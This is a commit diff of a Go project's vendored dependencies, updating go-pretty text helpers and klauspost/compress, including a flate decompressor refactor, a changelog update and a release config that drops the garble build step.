||||
func InsertEveryN(str string, runeToInsert rune, n int) string {
|
||||
if n <= 0 {
|
||||
return str
|
||||
@@ -47,7 +48,8 @@ func InsertEveryN(str string, runeToInsert rune, n int) string {
|
||||
|
||||
// LongestLineLen returns the length of the longest "line" within the
|
||||
// argument string. For ex.:
|
||||
// LongestLineLen("Ghost!\nCome back here!\nRight now!") == 15
|
||||
//
|
||||
// LongestLineLen("Ghost!\nCome back here!\nRight now!") == 15
|
||||
func LongestLineLen(str string) int {
|
||||
maxLength, currLength, eSeq := 0, 0, escSeq{}
|
||||
for _, c := range str {
|
||||
@@ -91,11 +93,12 @@ func OverrideRuneWidthEastAsianWidth(val bool) {
|
||||
// Pad pads the given string with as many characters as needed to make it as
|
||||
// long as specified (maxLen). This function does not count escape sequences
|
||||
// while calculating length of the string. Ex.:
|
||||
// Pad("Ghost", 0, ' ') == "Ghost"
|
||||
// Pad("Ghost", 3, ' ') == "Ghost"
|
||||
// Pad("Ghost", 5, ' ') == "Ghost"
|
||||
// Pad("Ghost", 7, ' ') == "Ghost "
|
||||
// Pad("Ghost", 10, '.') == "Ghost....."
|
||||
//
|
||||
// Pad("Ghost", 0, ' ') == "Ghost"
|
||||
// Pad("Ghost", 3, ' ') == "Ghost"
|
||||
// Pad("Ghost", 5, ' ') == "Ghost"
|
||||
// Pad("Ghost", 7, ' ') == "Ghost "
|
||||
// Pad("Ghost", 10, '.') == "Ghost....."
|
||||
func Pad(str string, maxLen int, paddingChar rune) string {
|
||||
strLen := RuneWidthWithoutEscSequences(str)
|
||||
if strLen < maxLen {
|
||||
@@ -104,13 +107,57 @@ func Pad(str string, maxLen int, paddingChar rune) string {
|
||||
return str
|
||||
}
|
||||
|
||||
// ProcessCRLF converts "\r\n" to "\n", and processes lone "\r" by moving the
|
||||
// cursor/carriage to the start of the line and overwrites the contents
|
||||
// accordingly. Ex.:
|
||||
//
|
||||
// ProcessCRLF("abc") == "abc"
|
||||
// ProcessCRLF("abc\r\ndef") == "abc\ndef"
|
||||
// ProcessCRLF("abc\r\ndef\rghi") == "abc\nghi"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\njkl") == "abc\nghi\njkl"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\njkl\r") == "abc\nghi\njkl"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\rjkl\rmn") == "abc\nmnl"
|
||||
func ProcessCRLF(str string) string {
|
||||
str = strings.ReplaceAll(str, "\r\n", "\n")
|
||||
if !strings.Contains(str, "\r") {
|
||||
return str
|
||||
}
|
||||
|
||||
lines := strings.Split(str, "\n")
|
||||
for lineIdx, line := range lines {
|
||||
if !strings.Contains(line, "\r") {
|
||||
continue
|
||||
}
|
||||
|
||||
lineRunes, newLineRunes := []rune(line), make([]rune, 0)
|
||||
for idx, realIdx := 0, 0; idx < len(lineRunes); idx++ {
|
||||
// if a CR, move "cursor" back to beginning of line
|
||||
if lineRunes[idx] == '\r' {
|
||||
realIdx = 0
|
||||
continue
|
||||
}
|
||||
|
||||
// if cursor is not at end, overwrite
|
||||
if realIdx < len(newLineRunes) {
|
||||
newLineRunes[realIdx] = lineRunes[idx]
|
||||
} else { // else append
|
||||
newLineRunes = append(newLineRunes, lineRunes[idx])
|
||||
}
|
||||
realIdx++
|
||||
}
|
||||
lines[lineIdx] = string(newLineRunes)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// RepeatAndTrim repeats the given string until it is as long as maxRunes.
|
||||
// For ex.:
|
||||
// RepeatAndTrim("", 5) == ""
|
||||
// RepeatAndTrim("Ghost", 0) == ""
|
||||
// RepeatAndTrim("Ghost", 5) == "Ghost"
|
||||
// RepeatAndTrim("Ghost", 7) == "GhostGh"
|
||||
// RepeatAndTrim("Ghost", 10) == "GhostGhost"
|
||||
//
|
||||
// RepeatAndTrim("", 5) == ""
|
||||
// RepeatAndTrim("Ghost", 0) == ""
|
||||
// RepeatAndTrim("Ghost", 5) == "Ghost"
|
||||
// RepeatAndTrim("Ghost", 7) == "GhostGh"
|
||||
// RepeatAndTrim("Ghost", 10) == "GhostGhost"
|
||||
func RepeatAndTrim(str string, maxRunes int) string {
|
||||
if str == "" || maxRunes == 0 {
|
||||
return ""
|
||||
@@ -123,10 +170,12 @@ func RepeatAndTrim(str string, maxRunes int) string {
|
||||
|
||||
// RuneCount is similar to utf8.RuneCountInString, except for the fact that it
|
||||
// ignores escape sequences while counting. For ex.:
|
||||
// RuneCount("") == 0
|
||||
// RuneCount("Ghost") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// RuneCount("") == 0
|
||||
// RuneCount("Ghost") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// Deprecated: in favor of RuneWidthWithoutEscSequences
|
||||
func RuneCount(str string) int {
|
||||
return RuneWidthWithoutEscSequences(str)
|
||||
@@ -135,21 +184,23 @@ func RuneCount(str string) int {
|
||||
// RuneWidth returns the mostly accurate character-width of the rune. This is
|
||||
// not 100% accurate as the character width is usually dependent on the
|
||||
// typeface (font) used in the console/terminal. For ex.:
|
||||
// RuneWidth('A') == 1
|
||||
// RuneWidth('ツ') == 2
|
||||
// RuneWidth('⊙') == 1
|
||||
// RuneWidth('︿') == 2
|
||||
// RuneWidth(0x27) == 0
|
||||
//
|
||||
// RuneWidth('A') == 1
|
||||
// RuneWidth('ツ') == 2
|
||||
// RuneWidth('⊙') == 1
|
||||
// RuneWidth('︿') == 2
|
||||
// RuneWidth(0x27) == 0
|
||||
func RuneWidth(r rune) int {
|
||||
return rwCondition.RuneWidth(r)
|
||||
}
|
||||
|
||||
// RuneWidthWithoutEscSequences is similar to RuneWidth, except for the fact
|
||||
// that it ignores escape sequences while counting. For ex.:
|
||||
// RuneWidthWithoutEscSequences("") == 0
|
||||
// RuneWidthWithoutEscSequences("Ghost") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// RuneWidthWithoutEscSequences("") == 0
|
||||
// RuneWidthWithoutEscSequences("Ghost") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0") == 5
|
||||
func RuneWidthWithoutEscSequences(str string) int {
|
||||
count, eSeq := 0, escSeq{}
|
||||
for _, c := range str {
|
||||
@@ -166,12 +217,13 @@ func RuneWidthWithoutEscSequences(str string) int {
|
||||
}
|
||||
|
||||
// Snip returns the given string with a fixed length. For ex.:
|
||||
// Snip("Ghost", 0, "~") == "Ghost"
|
||||
// Snip("Ghost", 1, "~") == "~"
|
||||
// Snip("Ghost", 3, "~") == "Gh~"
|
||||
// Snip("Ghost", 5, "~") == "Ghost"
|
||||
// Snip("Ghost", 7, "~") == "Ghost "
|
||||
// Snip("\x1b[33mGhost\x1b[0m", 7, "~") == "\x1b[33mGhost\x1b[0m "
|
||||
//
|
||||
// Snip("Ghost", 0, "~") == "Ghost"
|
||||
// Snip("Ghost", 1, "~") == "~"
|
||||
// Snip("Ghost", 3, "~") == "Gh~"
|
||||
// Snip("Ghost", 5, "~") == "Ghost"
|
||||
// Snip("Ghost", 7, "~") == "Ghost "
|
||||
// Snip("\x1b[33mGhost\x1b[0m", 7, "~") == "\x1b[33mGhost\x1b[0m "
|
||||
func Snip(str string, length int, snipIndicator string) string {
|
||||
if length > 0 {
|
||||
lenStr := RuneWidthWithoutEscSequences(str)
|
||||
@@ -185,10 +237,11 @@ func Snip(str string, length int, snipIndicator string) string {
|
||||
|
||||
// Trim trims a string to the given length while ignoring escape sequences. For
|
||||
// ex.:
|
||||
// Trim("Ghost", 3) == "Gho"
|
||||
// Trim("Ghost", 6) == "Ghost"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 3) == "\x1b[33mGho\x1b[0m"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 6) == "\x1b[33mGhost\x1b[0m"
|
||||
//
|
||||
// Trim("Ghost", 3) == "Gho"
|
||||
// Trim("Ghost", 6) == "Ghost"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 3) == "\x1b[33mGho\x1b[0m"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 6) == "\x1b[33mGhost\x1b[0m"
|
||||
func Trim(str string, maxLen int) string {
|
||||
if maxLen <= 0 {
|
||||
return ""
|
||||
|
||||
+7
-7
@@ -37,9 +37,9 @@ var (
|
||||
type Transformer func(val interface{}) string
|
||||
|
||||
// NewNumberTransformer returns a number Transformer that:
|
||||
// * transforms the number as directed by 'format' (ex.: %.2f)
|
||||
// * colors negative values Red
|
||||
// * colors positive values Green
|
||||
// - transforms the number as directed by 'format' (ex.: %.2f)
|
||||
// - colors negative values Red
|
||||
// - colors positive values Green
|
||||
func NewNumberTransformer(format string) Transformer {
|
||||
return func(val interface{}) string {
|
||||
if valStr := transformInt(format, val); valStr != "" {
|
||||
@@ -79,7 +79,7 @@ func transformInt(format string, val interface{}) string {
|
||||
return transform(int64(number))
|
||||
}
|
||||
if number, ok := val.(int64); ok {
|
||||
return transform(int64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -105,7 +105,7 @@ func transformUint(format string, val interface{}) string {
|
||||
return transform(uint64(number))
|
||||
}
|
||||
if number, ok := val.(uint64); ok {
|
||||
return transform(uint64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -125,7 +125,7 @@ func transformFloat(format string, val interface{}) string {
|
||||
return transform(float64(number))
|
||||
}
|
||||
if number, ok := val.(float64); ok {
|
||||
return transform(float64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -137,7 +137,7 @@ func NewJSONTransformer(prefix string, indent string) Transformer {
|
||||
if valStr, ok := val.(string); ok {
|
||||
var b bytes.Buffer
|
||||
if err := json.Indent(&b, []byte(strings.TrimSpace(valStr)), prefix, indent); err == nil {
|
||||
return string(b.Bytes())
|
||||
return b.String()
|
||||
}
|
||||
} else if b, err := json.MarshalIndent(val, prefix, indent); err == nil {
|
||||
return string(b)
|
||||
|
||||
+12
-12
@@ -14,12 +14,12 @@ const (
|
||||
)
|
||||
|
||||
// Apply aligns the lines vertically. For ex.:
|
||||
// * VAlignTop.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// * VAlignMiddle.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// * VAlignBottom.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
// - VAlignTop.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// - VAlignMiddle.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// - VAlignBottom.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
func (va VAlign) Apply(lines []string, maxLines int) []string {
|
||||
if len(lines) == maxLines {
|
||||
return lines
|
||||
@@ -42,12 +42,12 @@ func (va VAlign) Apply(lines []string, maxLines int) []string {
|
||||
}
|
||||
|
||||
// ApplyStr aligns the string (of 1 or more lines) vertically. For ex.:
|
||||
// * VAlignTop.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// * VAlignMiddle.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// * VAlignBottom.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
// - VAlignTop.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// - VAlignMiddle.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// - VAlignBottom.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
func (va VAlign) ApplyStr(text string, maxLines int) []string {
|
||||
return va.Apply(strings.Split(text, "\n"), maxLines)
|
||||
}
|
||||
|
||||
-4
@@ -3,7 +3,6 @@
|
||||
before:
|
||||
hooks:
|
||||
- ./gen.sh
|
||||
- go install mvdan.cc/[email protected]
|
||||
|
||||
builds:
|
||||
-
|
||||
@@ -32,7 +31,6 @@ builds:
|
||||
- mips64le
|
||||
goarm:
|
||||
- 7
|
||||
gobinary: garble
|
||||
-
|
||||
id: "s2d"
|
||||
binary: s2d
|
||||
@@ -59,7 +57,6 @@ builds:
|
||||
- mips64le
|
||||
goarm:
|
||||
- 7
|
||||
gobinary: garble
|
||||
-
|
||||
id: "s2sx"
|
||||
binary: s2sx
|
||||
@@ -87,7 +84,6 @@ builds:
|
||||
- mips64le
|
||||
goarm:
|
||||
- 7
|
||||
gobinary: garble
|
||||
|
||||
archives:
|
||||
-
|
||||
|
||||
+49
-1
@@ -16,6 +16,50 @@ This package provides various compression algorithms.
|
||||
|
||||
# changelog
|
||||
|
||||
* Feb 5th, 2024 - [1.17.6](https://github.com/klauspost/compress/releases/tag/v1.17.6)
|
||||
* zstd: Fix incorrect repeat coding in best mode https://github.com/klauspost/compress/pull/923
|
||||
* s2: Fix DecodeConcurrent deadlock on errors https://github.com/klauspost/compress/pull/925
|
||||
|
||||
* Jan 26th, 2024 - [v1.17.5](https://github.com/klauspost/compress/releases/tag/v1.17.5)
|
||||
* flate: Fix reset with dictionary on custom window encodes https://github.com/klauspost/compress/pull/912
|
||||
* zstd: Add Frame header encoding and stripping https://github.com/klauspost/compress/pull/908
|
||||
* zstd: Limit better/best default window to 8MB https://github.com/klauspost/compress/pull/913
|
||||
* zstd: Speed improvements by @greatroar in https://github.com/klauspost/compress/pull/896 https://github.com/klauspost/compress/pull/910
|
||||
* s2: Fix callbacks for skippable blocks and disallow 0xfe (Padding) by @Jille in https://github.com/klauspost/compress/pull/916 https://github.com/klauspost/compress/pull/917
|
||||
https://github.com/klauspost/compress/pull/919 https://github.com/klauspost/compress/pull/918
|
||||
|
||||
* Dec 1st, 2023 - [v1.17.4](https://github.com/klauspost/compress/releases/tag/v1.17.4)
|
||||
* huff0: Speed up symbol counting by @greatroar in https://github.com/klauspost/compress/pull/887
|
||||
* huff0: Remove byteReader by @greatroar in https://github.com/klauspost/compress/pull/886
|
||||
* gzhttp: Allow overriding decompression on transport https://github.com/klauspost/compress/pull/892
|
||||
* gzhttp: Clamp compression level https://github.com/klauspost/compress/pull/890
|
||||
* gzip: Error out if reserved bits are set https://github.com/klauspost/compress/pull/891
|
||||
|
||||
* Nov 15th, 2023 - [v1.17.3](https://github.com/klauspost/compress/releases/tag/v1.17.3)
|
||||
* fse: Fix max header size https://github.com/klauspost/compress/pull/881
|
||||
* zstd: Improve better/best compression https://github.com/klauspost/compress/pull/877
|
||||
* gzhttp: Fix missing content type on Close https://github.com/klauspost/compress/pull/883
|
||||
|
||||
* Oct 22nd, 2023 - [v1.17.2](https://github.com/klauspost/compress/releases/tag/v1.17.2)
|
||||
* zstd: Fix rare *CORRUPTION* output in "best" mode. See https://github.com/klauspost/compress/pull/876
|
||||
|
||||
* Oct 14th, 2023 - [v1.17.1](https://github.com/klauspost/compress/releases/tag/v1.17.1)
|
||||
* s2: Fix S2 "best" dictionary wrong encoding by @klauspost in https://github.com/klauspost/compress/pull/871
|
||||
* flate: Reduce allocations in decompressor and minor code improvements by @fakefloordiv in https://github.com/klauspost/compress/pull/869
|
||||
* s2: Fix EstimateBlockSize on 6&7 length input by @klauspost in https://github.com/klauspost/compress/pull/867
|
||||
|
||||
* Sept 19th, 2023 - [v1.17.0](https://github.com/klauspost/compress/releases/tag/v1.17.0)
|
||||
* Add experimental dictionary builder https://github.com/klauspost/compress/pull/853
|
||||
* Add xerial snappy read/writer https://github.com/klauspost/compress/pull/838
|
||||
* flate: Add limited window compression https://github.com/klauspost/compress/pull/843
|
||||
* s2: Do 2 overlapping match checks https://github.com/klauspost/compress/pull/839
|
||||
* flate: Add amd64 assembly matchlen https://github.com/klauspost/compress/pull/837
|
||||
* gzip: Copy bufio.Reader on Reset by @thatguystone in https://github.com/klauspost/compress/pull/860
|
||||
|
||||
<details>
|
||||
<summary>See changes to v1.16.x</summary>
|
||||
|
||||
|
||||
* July 1st, 2023 - [v1.16.7](https://github.com/klauspost/compress/releases/tag/v1.16.7)
|
||||
* zstd: Fix default level first dictionary encode https://github.com/klauspost/compress/pull/829
|
||||
* s2: add GetBufferCapacity() method by @GiedriusS in https://github.com/klauspost/compress/pull/832
|
||||
@@ -53,6 +97,7 @@ This package provides various compression algorithms.
|
||||
* s2: Add LZ4 block converter. https://github.com/klauspost/compress/pull/748
|
||||
* s2: Support io.ReaderAt in ReadSeeker. https://github.com/klauspost/compress/pull/747
|
||||
* s2c/s2sx: Use concurrent decoding. https://github.com/klauspost/compress/pull/746
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>See changes to v1.15.x</summary>
|
||||
@@ -520,6 +565,8 @@ the stateless compress described below.
|
||||
|
||||
For compression performance, see: [this spreadsheet](https://docs.google.com/spreadsheets/d/1nuNE2nPfuINCZJRMt6wFWhKpToF95I47XjSsc-1rbPQ/edit?usp=sharing).
|
||||
|
||||
To disable all assembly add `-tags=noasm`. This works across all packages.
|
||||
|
||||
# Stateless compression
|
||||
|
||||
This package offers stateless compression as a special option for gzip/deflate.
|
||||
@@ -538,7 +585,7 @@ For direct deflate use, NewStatelessWriter and StatelessDeflate are available. S
|
||||
|
||||
A `bufio.Writer` can of course be used to control write sizes. For example, to use a 4KB buffer:
|
||||
|
||||
```
|
||||
```go
|
||||
// replace 'ioutil.Discard' with your output.
|
||||
gzw, err := gzip.NewWriterLevel(ioutil.Discard, gzip.StatelessCompression)
|
||||
if err != nil {
|
||||
@@ -646,6 +693,7 @@ Here are other packages of good quality and pure Go (no cgo wrappers or autoconv
|
||||
* [github.com/ronanh/intcomp](https://github.com/ronanh/intcomp) - Integer compression.
|
||||
* [github.com/spenczar/fpc](https://github.com/spenczar/fpc) - Float compression.
|
||||
* [github.com/minio/zipindex](https://github.com/minio/zipindex) - External ZIP directory index.
|
||||
* [github.com/ybirader/pzip](https://github.com/ybirader/pzip) - Fast concurrent zip archiver and extractor.
|
||||
|
||||
# license
|
||||
|
||||
|
||||
+1
-1
@@ -212,7 +212,7 @@ func (d *compressor) writeBlockSkip(tok *tokens, index int, eof bool) error {
|
||||
// Should only be used after a start/reset.
|
||||
func (d *compressor) fillWindow(b []byte) {
|
||||
// Do not fill window if we are in store-only or huffman mode.
|
||||
if d.level <= 0 {
|
||||
if d.level <= 0 && d.level > -MinCustomWindowSize {
|
||||
return
|
||||
}
|
||||
if d.fast != nil {
|
||||
|
||||
+51
-15
@@ -120,8 +120,9 @@ func (h *huffmanDecoder) init(lengths []int) bool {
|
||||
const sanity = false
|
||||
|
||||
if h.chunks == nil {
|
||||
h.chunks = &[huffmanNumChunks]uint16{}
|
||||
h.chunks = new([huffmanNumChunks]uint16)
|
||||
}
|
||||
|
||||
if h.maxRead != 0 {
|
||||
*h = huffmanDecoder{chunks: h.chunks, links: h.links}
|
||||
}
|
||||
@@ -175,6 +176,7 @@ func (h *huffmanDecoder) init(lengths []int) bool {
|
||||
}
|
||||
|
||||
h.maxRead = min
|
||||
|
||||
chunks := h.chunks[:]
|
||||
for i := range chunks {
|
||||
chunks[i] = 0
|
||||
@@ -202,8 +204,7 @@ func (h *huffmanDecoder) init(lengths []int) bool {
|
||||
if cap(h.links[off]) < numLinks {
|
||||
h.links[off] = make([]uint16, numLinks)
|
||||
} else {
|
||||
links := h.links[off][:0]
|
||||
h.links[off] = links[:numLinks]
|
||||
h.links[off] = h.links[off][:numLinks]
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -277,7 +278,7 @@ func (h *huffmanDecoder) init(lengths []int) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// The actual read interface needed by NewReader.
|
||||
// Reader is the actual read interface needed by NewReader.
|
||||
// If the passed in io.Reader does not also have ReadByte,
|
||||
// the NewReader will introduce its own buffering.
|
||||
type Reader interface {
|
||||
@@ -285,6 +286,18 @@ type Reader interface {
|
||||
io.ByteReader
|
||||
}
|
||||
|
||||
type step uint8
|
||||
|
||||
const (
|
||||
copyData step = iota + 1
|
||||
nextBlock
|
||||
huffmanBytesBuffer
|
||||
huffmanBytesReader
|
||||
huffmanBufioReader
|
||||
huffmanStringsReader
|
||||
huffmanGenericReader
|
||||
)
|
||||
|
||||
// Decompress state.
|
||||
type decompressor struct {
|
||||
// Input source.
|
||||
@@ -303,7 +316,7 @@ type decompressor struct {
|
||||
|
||||
// Next step in the decompression,
|
||||
// and decompression state.
|
||||
step func(*decompressor)
|
||||
step step
|
||||
stepState int
|
||||
err error
|
||||
toRead []byte
|
||||
@@ -342,7 +355,7 @@ func (f *decompressor) nextBlock() {
|
||||
// compressed, fixed Huffman tables
|
||||
f.hl = &fixedHuffmanDecoder
|
||||
f.hd = nil
|
||||
f.huffmanBlockDecoder()()
|
||||
f.huffmanBlockDecoder()
|
||||
if debugDecode {
|
||||
fmt.Println("predefinied huffman block")
|
||||
}
|
||||
@@ -353,7 +366,7 @@ func (f *decompressor) nextBlock() {
|
||||
}
|
||||
f.hl = &f.h1
|
||||
f.hd = &f.h2
|
||||
f.huffmanBlockDecoder()()
|
||||
f.huffmanBlockDecoder()
|
||||
if debugDecode {
|
||||
fmt.Println("dynamic huffman block")
|
||||
}
|
||||
@@ -379,14 +392,16 @@ func (f *decompressor) Read(b []byte) (int, error) {
|
||||
if f.err != nil {
|
||||
return 0, f.err
|
||||
}
|
||||
f.step(f)
|
||||
|
||||
f.doStep()
|
||||
|
||||
if f.err != nil && len(f.toRead) == 0 {
|
||||
f.toRead = f.dict.readFlush() // Flush what's left in case of error
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Support the io.WriteTo interface for io.Copy and friends.
|
||||
// WriteTo implements the io.WriteTo interface for io.Copy and friends.
|
||||
func (f *decompressor) WriteTo(w io.Writer) (int64, error) {
|
||||
total := int64(0)
|
||||
flushed := false
|
||||
@@ -410,7 +425,7 @@ func (f *decompressor) WriteTo(w io.Writer) (int64, error) {
|
||||
return total, f.err
|
||||
}
|
||||
if f.err == nil {
|
||||
f.step(f)
|
||||
f.doStep()
|
||||
}
|
||||
if len(f.toRead) == 0 && f.err != nil && !flushed {
|
||||
f.toRead = f.dict.readFlush() // Flush what's left in case of error
|
||||
@@ -631,7 +646,7 @@ func (f *decompressor) copyData() {
|
||||
|
||||
if f.dict.availWrite() == 0 || f.copyLen > 0 {
|
||||
f.toRead = f.dict.readFlush()
|
||||
f.step = (*decompressor).copyData
|
||||
f.step = copyData
|
||||
return
|
||||
}
|
||||
f.finishBlock()
|
||||
@@ -644,7 +659,28 @@ func (f *decompressor) finishBlock() {
|
||||
}
|
||||
f.err = io.EOF
|
||||
}
|
||||
f.step = (*decompressor).nextBlock
|
||||
f.step = nextBlock
|
||||
}
|
||||
|
||||
func (f *decompressor) doStep() {
|
||||
switch f.step {
|
||||
case copyData:
|
||||
f.copyData()
|
||||
case nextBlock:
|
||||
f.nextBlock()
|
||||
case huffmanBytesBuffer:
|
||||
f.huffmanBytesBuffer()
|
||||
case huffmanBytesReader:
|
||||
f.huffmanBytesReader()
|
||||
case huffmanBufioReader:
|
||||
f.huffmanBufioReader()
|
||||
case huffmanStringsReader:
|
||||
f.huffmanStringsReader()
|
||||
case huffmanGenericReader:
|
||||
f.huffmanGenericReader()
|
||||
default:
|
||||
panic("BUG: unexpected step state")
|
||||
}
|
||||
}
|
||||
|
||||
// noEOF returns err, unless err == io.EOF, in which case it returns io.ErrUnexpectedEOF.
|
||||
@@ -747,7 +783,7 @@ func (f *decompressor) Reset(r io.Reader, dict []byte) error {
|
||||
h1: f.h1,
|
||||
h2: f.h2,
|
||||
dict: f.dict,
|
||||
step: (*decompressor).nextBlock,
|
||||
step: nextBlock,
|
||||
}
|
||||
f.dict.init(maxMatchOffset, dict)
|
||||
return nil
|
||||
@@ -768,7 +804,7 @@ func NewReader(r io.Reader) io.ReadCloser {
|
||||
f.r = makeReader(r)
|
||||
f.bits = new([maxNumLit + maxNumDist]int)
|
||||
f.codebits = new([numCodes]int)
|
||||
f.step = (*decompressor).nextBlock
|
||||
f.step = nextBlock
|
||||
f.dict.init(maxMatchOffset, nil)
|
||||
return &f
|
||||
}
|
||||
@@ -787,7 +823,7 @@ func NewReaderDict(r io.Reader, dict []byte) io.ReadCloser {
|
||||
f.r = makeReader(r)
|
||||
f.bits = new([maxNumLit + maxNumDist]int)
|
||||
f.codebits = new([numCodes]int)
|
||||
f.step = (*decompressor).nextBlock
|
||||
f.step = nextBlock
|
||||
f.dict.init(maxMatchOffset, dict)
|
||||
return &f
|
||||
}
|
||||
Loaded 100 of 185 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user